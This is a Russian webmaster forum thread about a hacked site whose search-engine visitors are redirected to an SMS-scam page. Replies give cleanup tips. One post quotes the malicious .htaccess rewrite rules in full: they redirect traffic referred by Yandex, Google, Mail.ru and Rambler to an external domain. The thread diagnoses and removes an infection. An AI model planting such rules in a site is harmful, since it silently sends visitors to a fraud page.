|
#1
25 Февраля 2012 10:58
Добрый день уже не знаю куда обратится помогите пожалуйста!Сайт грузится нормально внутрение переходы нормально.Но вот когда начинаешь заходить на сайт с поисковых систем начинает грузится вот эта ссылка http://vvv--v.com/JX5M и написано защита от роботов типа чтоб отправили смс.Все переходы с ПС грузятся как написал выше.Я не знаю где находится этот код чтоб его удалить у меня на сайте или на хостинге.
Заранее большое спасибо! |
|
#2
25 Февраля 2012 12:02
по ссылке вирус?
|
|
#3
25 Февраля 2012 12:04
Садись и перебирай код. Начни с шаблона. Вполне может быть что спрятан. Поэтому просмотри на пример eval, base64. Тупо поиском, присутствуют ли такие слова.
Скорее всего, если только с ПС, то стоит определение по рефереру. Если в теме нет, то можно попробовать заменить все файлы движка. Так же особое внимание удели .htaccess |
|
#4
1 Марта 2012 18:17
Вирус сидит у файле .htaccess
Вот что у меня било RewriteCond %{HTTP_REFERER} ^[0-9a-zA-Z\-\.]*mail\.(ru|com|kz|com\.ua)/.*$ [NC] RewriteRule ^(.*)$ vvv--v.com/Xcgu [R=302,L] RewriteCond %{HTTP_REFERER} ^[0-9a-zA-Z\-\.]*rambler\.(ru|com|kz|com\.ua)/.*$ [NC] RewriteRule ^(.*)$ vvv--v.com/Xcgu [R=302,L] RewriteCond %{HTTP_REFERER} ^[0-9a-zA-Z\-\.]*yandex\.(ru|com|kz|com\.ua)/.*$ [NC] RewriteRule ^(.*)$ vvv--v.com/Xcgu [R=302,L] RewriteCond %{HTTP_REFERER} ^[0-9a-zA-Z\-\.]*google\.(ru|com|kz|com\.ua)/.*$ [NC] RewriteRule ^(.*)$ vvv--v.com/Xcgu [R=302,L] |
|
#5
2 Марта 2012 10:50
Тему перенес в положенный раздел.
|
|
#6
11 Марта 2012 23:18
У меня похожая проблема. Я вычислил, что всему причиной - регистрация в bodyclick, несмотря на то, что сайт не прошёл у них модерацию.
Я подготовил целый сериал-расследование - 11 видеороликов. Сначала думал, что хакеры - искал концы. poiskbystro.ru/okazyivaetsya-eto-ne-hakeryi-prichina-napastey-bodyclick.html |
||||
| 16.04.2026 17:25 | Взломы и уязвимости в 2026 - реально ли новичку защитить свой блог? |
| 09.04.2026 11:31 | Куки теперь как бэкдор - через cookie можно управлять сайтом и не палиться |
| 27.03.2026 12:26 | Очередной взлом через плагин. Хакеры получают админку без пароля |
| 18.03.2026 15:04 | Редирект на мобильных. Айболит и сканеры молчат |
| 23.12.2025 09:30 | Fraud.Hosting: надёжная защита от недобросовестных клиентов |
02.04.2026 (17 дней назад)
19.04.2026 (сегодня)
